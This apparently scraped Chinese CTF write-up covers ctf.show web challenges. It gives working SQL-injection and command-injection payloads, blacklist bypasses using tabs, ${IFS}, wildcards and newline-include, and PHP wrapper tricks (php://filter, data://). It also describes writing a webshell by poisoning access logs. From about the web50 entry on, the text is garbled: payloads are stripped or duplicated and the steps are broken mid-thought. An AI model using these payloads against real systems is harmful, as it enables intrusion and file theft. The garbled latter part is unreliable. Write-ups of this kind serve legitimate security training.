web入门
给她 1
参考文档
https://blog.csdn.net/weixin_51412071/article/details/124270277
查看链接
sql注入
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));?>
直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1#
?name=admin&pass=%1$' or 1=1--+
找到此页面的cookie
转为16进制解码得到
flag.txt
尝试将Cookie中的file赋值为/flag,即
将/flag换成16进制
Cookie: file=2f666c6167
成功
签到题
if(isset($_GET['url'])){ system("curl https://".$_GET['url'].".ctf.show");}else{ show_source(__FILE__);} ?>
代码审计
构造url
get传入url
system表示php直接执行系统的命令
"|"是管道命令操作符,简称管道符。使用管道符"|"可以将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推.
构造
http://edbb7af6-9f4a-445e-9578-93b24d1559c6.challenge.ctf.show/?url=;ls;
则为:
curl https://;ls;.ctf.show
例如:
靶场如下:
执行ls
执行cat查看flag
假赛生
session_start();include('config.php');if(empty($_SESSION['name'])){ show_source("index.php");}else{ $name=$_SESSION['name']; $sql='select pass from user where name="'.$name.'"'; echo $sql."
"; system('4rfvbgt56yhn.sh'); $query=mysqli_query($conn,$sql); $result=mysqli_fetch_assoc($query); if($name==='admin'){ echo "admin!!!!!"."
"; if(isset($_GET['c'])){ preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1); echo $flag; }else{ echo "you not admin"; } }}?>
题目显示register.php和login.php提示
注册admin
使用admin (空格)注册
注册成功
尝试登录
证实登录页面的php后台属于 上述
接着注入c
preg_replace_callback 函数执行一个正则表达式搜索并且使用一个回调进行替换。
mixed preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )
这个函数的行为除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于 preg_replace()。
参数说明:
- $pattern: 要搜索的模式,可以使字符串或一个字符串数组。
- $callback: 一个回调函数,在每次需要替换时调用,调用时函数得到的参数是从subject 中匹配到的结果。
- $subject: 要搜索替换的目标字符串或字符串数组。
- $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
- $count: 可选,为替换执行的次数。
有关正则匹配的知识 \w:用于匹配字母,数字或下划线字符; \W:用于匹配所有与\w不匹配的字符; “*”元字符规定其前导字符必须在目标对象中出现零次或连续多次;
其实没有过滤空格此处为空即可
信息收集
web1
查看源码即可
web2
强制打开
先在另外的页面打开检查,然后输入地址
web3
web4
访问 这个url
web5
web6
提示:解压源码到当前目录,测试正常,收工
url/www.zip
得到zip
url/fl000g.txt
web7
版本控制很重要,但不要部署到生产环境更重要。
原理
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。
web12
有时候网站上的公开信息,就是管理员常用密码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V8TRkAZo-1682607215362)(null)]
整个网页
url/admin
提示登录
寻找密码
https://img-blog.csdnimg.cn/20210516091428533.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0dvb2RyaWM=,size_16,color_FFFFFF,t_70
直接登录
web14
小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
http://10a7bbc1-1b83-4af6-9e3a-da357edaf2b6.challenge.ctf.show/editor/
如上图
点击图片空间
遍历文件得到
fl000g.txt
web16
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
url/tz.php
点击
phpinfo
ctfshow{91d643da-2afc-4ff8-b6cc-d61a1d0cc296}
web17
备份的sql文件会泄露敏感信息
后台
下载到sql语句
查询得到
INSERT INTO `ctfshow_secret` VALUES ('ctfshow{49c243e0-a3e9-42d6-9378-760ebfd1bbb4}');
web18
不要着急,休息,休息一会儿,玩101分给你flag
查看js源码
\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
解码后
访问
web19
密钥什么的,就不要放在前端了
error_reporting(0); $flag="fakeflag" $u = $_POST['username']; $p = $_POST['pazzword']; if(isset($u) && isset($p)){ if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){ echo $flag; }}
ctfshow{4e1cc67e-fe41-42f3-89a5-dfa1608cc269}
打开brup
发现passzd不一样,修改passzd即可
爆破
web23
error_reporting(0);include('flag.php');if(isset($_GET['token'])){ $token = md5($_GET['token']); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo $flag; } }}else{ highlight_file(__FILE__);}?>
提示爆破,安排
在线编写函数爆破
输入得到flag
ctfshow{eeee6a3c-db2e-4e5d-8aec-0adc7b1f4617}
web24
<?phperror_reporting(0);include("flag.php");if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(372619038); if(intval($r)===intval(mt_rand())){ echo $flag; }}else{ highlight_file(__FILE__); echo system('cat /proc/version');}?> Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022
intval() 函数用于获取变量的整数值。
直接在线php输入
得到值
https://blog.csdn.net/qq_45521281/article/details/107302795
不幸的是,php每次调用mt_rand()函数时,都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用php_mt_srand来播种。也就是说每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数。
web25
<?phperror_reporting(0);include("flag.php");if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(hexdec(substr(md5($flag), 0,8))); $rand = intval($r)-intval(mt_rand()); if((!$rand)){ if($_COOKIE['token']==(mt_rand()+mt_rand())){ echo $flag; } }else{ echo $rand; }}else{ highlight_file(__FILE__); echo system('cat /proc/version');}Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022
web27
下载得到名单
爆破身份证号
得到union,解码
恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
登录即可
命令执行
Web29
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
preg_match 函数用于执行一个正则表达式匹配。
使用system函数操作
因为flag字符串被过滤
使用tac命令
反序查看
tac的功能是可以将文件的内容倒着顺序输出
http://13a798dc-688b-43e1-a5d8-58020aa6328f.challenge.ctf.show/?c=system(“tac fl*.php”);
查出
Web30
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
加入过滤的system和php
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。由此:可以
web31
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
这次过滤了空格和
使用%09绕过
仔细看url
或者使用跳板
/?c=eval($_GET[1]);&1=system(“tac flag.php”);
web32
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
过滤巨多
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web33
//error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
因为这题和web32一样,过滤了括号"|(",所以有括号的函数肯定是不能用了,只能尝试文件包含,用include函数
http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
当然使用post方法也可以
http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_POST[1]?>1=php://filter/convert.base64-encode/resource=flag.php
得到base64编码的flag
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmEzNTJjNGYtZjhlMC00NDk0LWFjYjMtZWY4NDUwNDJjOTc5fSI7DQo=
解码后即可
$flag="ctfshow{ba352c4f-f8e0-4494-acb3-ef845042c979}";
web34
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
与web33上述方法相同
web35
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
与web33一样
web36
上述的绕过无效
查看得知过滤了数字
所以使用其他索引,可以不加’’
http://3ad812aa-9d4c-40c2-9384-929c66b16173.challenge.ctf.show/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}
改变题型
不是eval执行
使用伪协议
data://text/plain协议
此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,
可以执行
过略了flag
所以使用占位符?
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/1.txt
即可查看
web38
<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}
新加了php和file限制
使用php代码块绕过
注意flag.php 不能包含php
加上使用短标签绕过
说明:“=”是PHP的一个短的开放式标签,是echo() 的快捷用法。
http://8bd3cc78-8585-4eb6-9005-ff69df84e908.challenge.ctf.show/?c=data://text/plain,= system("cp fl??.* 1.txt"); ?>
web39
<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__);}
没有回显
include 只生成警告(E_WARNING),并且脚本会继续
后面强制加入后缀
http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,
有回显
然后
因为php 先执行前面的,再执行.php 所以有回显
http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,
页面显示.php
txt
web40
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
官方
http://c6854ce2-0c57-4597-837b-7eab839fcd51.challenge.ctf.show/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
<?phpif(isset($_POST['c'])){ $c = $_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); }}else{ highlight_file(__FILE__);}?>
web42
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1");}else{ highlight_file(__FILE__);}
类似黑洞
输入第一个参数无反应
http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls
空白
双写绕过
http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls;ls
flag.php index.php
http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?cat flag/php;ls
?php$flag="ctfshow{b18aaef2-c72e-4578-b3c0-b0040746fb94}";
知识点
1、可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
用处:
禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.
> 代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
web43
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
过滤了;和cat
使用url编码加&&绕过
http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=ls%26%26ls
flag.php index.php
当&&的时候才会执行第二个命令
直接执行
http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=tac flag.php%26%26ls
web44
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
过滤了flag
使用通配符
http://4d153915-5e45-4ce0-8bd9-fa7917cc64a1.challenge.ctf.show/?c=tac fla*.php%26%26ls
web45
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
多过滤了空格
http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac%09fl**.php%26%26ls
使用ascii表的%09绕过
Ascii表如下:
二进制 | 十进制 | 十六进制 | 字符/缩写 | 解释 |
---|---|---|---|---|
00000000 | 0 | 00 | NUL (NULL) | 空字符 |
00000001 | 1 | 01 | SOH (Start Of Headling) | 标题开始 |
00000010 | 2 | 02 | STX (Start Of Text) | 正文开始 |
00000011 | 3 | 03 | ETX (End Of Text) | 正文结束 |
00000100 | 4 | 04 | EOT (End Of Transmission) | 传输结束 |
00000101 | 5 | 05 | ENQ (Enquiry) | 请求 |
00000110 | 6 | 06 | ACK (Acknowledge) | 回应/响应/收到通知 |
00000111 | 7 | 07 | BEL (Bell) | 响铃 |
00001000 | 8 | 08 | BS (Backspace) | 退格 |
00001001 | 9 | 09 | HT (Horizontal Tab) | 水平制表符 |
00001010 | 10 | 0A | LF/NL(Line Feed/New Line) | 换行键 |
00001011 | 11 | 0B | VT (Vertical Tab) | 垂直制表符 |
00001100 | 12 | 0C | FF/NP (Form Feed/New Page) | 换页键 |
00001101 | 13 | 0D | CR (Carriage Return) | 回车键 |
00001110 | 14 | 0E | SO (Shift Out) | 不用切换 |
00001111 | 15 | 0F | SI (Shift In) | 启用切换 |
00010000 | 16 | 10 | DLE (Data Link Escape) | 数据链路转义 |
00010001 | 17 | 11 | DC1/XON (Device Control 1/Transmission On) | 设备控制1/传输开始 |
00010010 | 18 | 12 | DC2 (Device Control 2) | 设备控制2 |
00010011 | 19 | 13 | DC3/XOFF (Device Control 3/Transmission Off) | 设备控制3/传输中断 |
00010100 | 20 | 14 | DC4 (Device Control 4) | 设备控制4 |
00010101 | 21 | 15 | NAK (Negative Acknowledge) | 无响应/非正常响应/拒绝接收 |
00010110 | 22 | 16 | SYN (Synchronous Idle) | 同步空闲 |
00010111 | 23 | 17 | ETB (End of Transmission Block) | 传输块结束/块传输终止 |
00011000 | 24 | 18 | CAN (Cancel) | 取消 |
00011001 | 25 | 19 | EM (End of Medium) | 已到介质末端/介质存储已满/介质中断 |
00011010 | 26 | 1A | SUB (Substitute) | 替补/替换 |
00011011 | 27 | 1B | ESC (Escape) | 逃离/取消 |
00011100 | 28 | 1C | FS (File Separator) | 文件分割符 |
00011101 | 29 | 1D | GS (Group Separator) | 组分隔符/分组符 |
00011110 | 30 | 1E | RS (Record Separator) | 记录分离符 |
00011111 | 31 | 1F | US (Unit Separator) | 单元分隔符 |
00100000 | 32 | 20 | (Space) | 空格 |
00100001 | 33 | 21 | ! | |
00100010 | 34 | 22 | " | |
00100011 | 35 | 23 | # | |
00100100 | 36 | 24 | $ | |
00100101 | 37 | 25 | % | |
00100110 | 38 | 26 | & | |
00100111 | 39 | 27 | ’ | |
00101000 | 40 | 28 | ( | |
00101001 | 41 | 29 | ) | |
00101010 | 42 | 2A | * | |
00101011 | 43 | 2B | + | |
00101100 | 44 | 2C | , | |
00101101 | 45 | 2D | - | |
00101110 | 46 | 2E | . | |
00101111 | 47 | 2F | / | |
00110000 | 48 | 30 | 0 | |
00110001 | 49 | 31 | 1 | |
00110010 | 50 | 32 | 2 | |
00110011 | 51 | 33 | 3 | |
00110100 | 52 | 34 | 4 | |
00110101 | 53 | 35 | 5 | |
00110110 | 54 | 36 | 6 | |
00110111 | 55 | 37 | 7 | |
00111000 | 56 | 38 | 8 | |
00111001 | 57 | 39 | 9 | |
00111010 | 58 | 3A | : | |
00111011 | 59 | 3B | ; | |
00111100 | 60 | 3C | < | |
00111101 | 61 | 3D | = | |
00111110 | 62 | 3E | > | |
00111111 | 63 | 3F | ? | |
01000000 | 64 | 40 | @ | |
01000001 | 65 | 41 | A | |
01000010 | 66 | 42 | B | |
01000011 | 67 | 43 | C | |
01000100 | 68 | 44 | D | |
01000101 | 69 | 45 | E | |
01000110 | 70 | 46 | F | |
01000111 | 71 | 47 | G | |
01001000 | 72 | 48 | H | |
01001001 | 73 | 49 | I | |
01001010 | 74 | 4A | J | |
01001011 | 75 | 4B | K | |
01001100 | 76 | 4C | L | |
01001101 | 77 | 4D | M | |
01001110 | 78 | 4E | N | |
01001111 | 79 | 4F | O | |
01010000 | 80 | 50 | P | |
01010001 | 81 | 51 | Q | |
01010010 | 82 | 52 | R | |
01010011 | 83 | 53 | S | |
01010100 | 84 | 54 | T | |
01010101 | 85 | 55 | U | |
01010110 | 86 | 56 | V | |
01010111 | 87 | 57 | W | |
01011000 | 88 | 58 | X | |
01011001 | 89 | 59 | Y | |
01011010 | 90 | 5A | Z | |
01011011 | 91 | 5B | [ | |
01011100 | 92 | 5C | \ | |
01011101 | 93 | 5D | ] | |
01011110 | 94 | 5E | ^ | |
01011111 | 95 | 5F | _ | |
01100000 | 96 | 60 | ` | |
01100001 | 97 | 61 | a | |
01100010 | 98 | 62 | b | |
01100011 | 99 | 63 | c | |
01100100 | 100 | 64 | d | |
01100101 | 101 | 65 | e | |
01100110 | 102 | 66 | f | |
01100111 | 103 | 67 | g | |
01101000 | 104 | 68 | h | |
01101001 | 105 | 69 | i | |
01101010 | 106 | 6A | j | |
01101011 | 107 | 6B | k | |
01101100 | 108 | 6C | l | |
01101101 | 109 | 6D | m | |
01101110 | 110 | 6E | n | |
01101111 | 111 | 6F | o | |
01110000 | 112 | 70 | p | |
01110001 | 113 | 71 | q | |
01110010 | 114 | 72 | r | |
01110011 | 115 | 73 | s | |
01110100 | 116 | 74 | t | |
01110101 | 117 | 75 | u | |
01110110 | 118 | 76 | v | |
01110111 | 119 | 77 | w | |
01111000 | 120 | 78 | x | |
01111001 | 121 | 79 | y | |
01111010 | 122 | 7A | z | |
01111011 | 123 | 7B | { | |
01111100 | 124 | 7C | | | |
01111101 | 125 | 7D | } | |
01111110 | 126 | 7E | ~ | |
01111111 | 127 | 7F | DEL (Delete) | 删除 |
web46
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
不让*和数字
换成??即可
http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac%09fl??.php%26%26ls
web47
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
直接用上一个的payload
web48
一样没有过滤tac
web49
一样没有过滤tac
web50
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
过滤了%09和$和空格
http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl url编码后 http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl nl命令: nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。 其中’'为两个的单引号 与web50一样 过滤了<和>,没有过滤$ 考虑使用IFS Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。 其中数字过滤 使用cp和mv命令均无效 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp IFS f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}a.txt%7C%7Cls 过滤了数字,所示使用a.txt 查看ls后 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls%7C%7Cls a.txt flag.php index.php 查看复制过的 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}?.txt%7C%7Cls 回显如下: 好家伙,不在这里。遍历全局 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls IFS / {IFS}/ IFS/{IFS}%7C%7Cls 直接cp flag http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls IFS / {IFS}/ IFS/fla?%7C%7Cls 无回显 要不是空目录要不是一个文件 尝试文件复制 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp IFS / f l a ? {IFS}/fla? IFS/fla?{IFS}b.txt%7C%7Cls 查看 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls%7C%7Cls 回显成功 查看复制的文件 http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}b.txt%7C%7Cls system成功的话返回最后一段,否则为false http://82baa6a1-7fed-41c4-843d-26903a052400.challenge.ctf.show/?c=nl${IFS}fla?.php 过滤巨多 不能使用’'绕过 http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=ls 原本未有变化 发现未过滤mv http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=mv IFS f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}b.txt ls b.txt index.php http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/b.txt 直接使用 过滤了a-z的字母 没有·.·,.在linux下可以执行脚本文件 考虑文件上传 https://blog.csdn.net/qq_46091464/article/details/108513145 多过滤了 只用构造36.php绕过过滤即可 url 原理: 原理是: 注意的是: 禁用函数 尝试 phpinfo echo函数 成功! 禁止了exec的shell脚本执行 c=show_source(‘flag.php’); 没有禁用文件读取 与上题目一致 只不过命令禁止更加严格 被禁用 尝试之后与上体方法一致 直接操作c eval 和上一题一样 解法一致 解法一样 解法一样 解法一样 解法一样 换! 查看名称 未改名称 var_dump() 函数用于输出变量的相关信息。 var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。 可以查看到flag.txt 然后访问即可 一样 直接禁用了highlight_file()文件 所以直接 先扫盘 看到flag.txt 直接出来因为不是php标签 一样 一样 上来直接报错? 下载附件 如下 好多函数 匹配正则表达式,将符号换成? ob_get_contents — 返回输出缓冲区的内容 示例 #1 *ob_get_contents()* 简单示例 以上例程会输出: ob_end_clean清空缓冲区 这个题目不给报错信息 所以考虑中断 c=include(‘/flag.txt’);exit(); 成功 web71方法找不到文件 所以查看文件 禁止了var_dump函数 看到 Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1 http://d634471a-2b93-49a7-a1b1-84a0e857dae4.challenge.ctf.show/?file=php://filter/convert.base64-encode/resource=flag.php php特性 过滤了php,此题目中当file变量为php的话会将php替换为??? 所以这个base64的php的伪协议失败 data://:需满足 http://41fe0f0e-d480-4535-9281-00a83cc75bcd.challenge.ctf.show/?file=data://text/plain, url注入之后 未见到明显图标 查看代码可得 url http://41fe0f0e-d480-4535-9281-00a83cc75bcd.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKSA/Pg== 即 的base64的加密来绕过 这题加上了data的限制 本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。 日志文件中包含了 url以及ua信息等,这里ua最容易控制,抓包改ua,写入一句话即可。 写入agent 成功回显 更改 agent 写入了木马 url如上查看fl0g.php 又多过滤了 先沿用上面的方法 看看日志是否有用 有用,然后 添加病毒 所以这个题目思路和上一题思路差不多 特点时间开放题目 过滤了 file_put_contents() 函数把一个字符串写入文件中。 与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。 参数 data 可以是数组(但不能是多维数组)。 自 PHP 5.1.0 起,data 参数也可以被指定为 stream 资源,stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。 对 context 参数的支持是 PHP 5.0.0 添加的。 该函数将返回写入到文件内数据的字节数。 输出: urldecode() 解码 URL 字符串函数。 此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 (加号(‘+’)被解码成一个空格字符)。 该函数经常被使用于php解码URL中的中文字符串。 上面的代码将输出: 使用之前的file=/var/log/nginx/access.log的 参考文章 https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list 分析代码,首先php被禁用了,这个伪协议用不了,data也被禁用了,但是在最后有显示urldecode,我们要把传入的参数进行二次加密,那么问题来了,这个函数是写入文件的,但是我们看到会直接die,但是我们使用rot13编码后可以将它变成乱码,问题不大 payload 意思就是 然后payload 然后访问2.php payload 那么传入的 或者也可以使用rot13过滤器与编码,也是一个道理: 正则表达式过滤 过滤挺多 php ~ ! @ 使用data://text/plain;base64,xxxxx 但是要注意过滤了 可以加填充符号 如果不加aaa则必然出现+ 尝试之后 成功回显 打开以后是一个视频播放页面,提示是LFI,尝试直接本地文件包含: http://69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.show/?file=/var/www/html/index.php 过滤了 data不行 input不行 直接跑 和之前有几道题一样的思路,使用过滤器写入一句话木马,这样在写入后进行过滤器指定的编码(解码)的过程中会把 get方法传入num,要绕过正则表达式的检验,然后intval方法为true intval() 函数用于获取变量的整数值。 intval(mixed intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。 参数 ¶ 要转换成 integer 的数量值 转化所使用的进制注意:如果 返回值 ¶ 成功时返回 最大的值取决于操作系统。 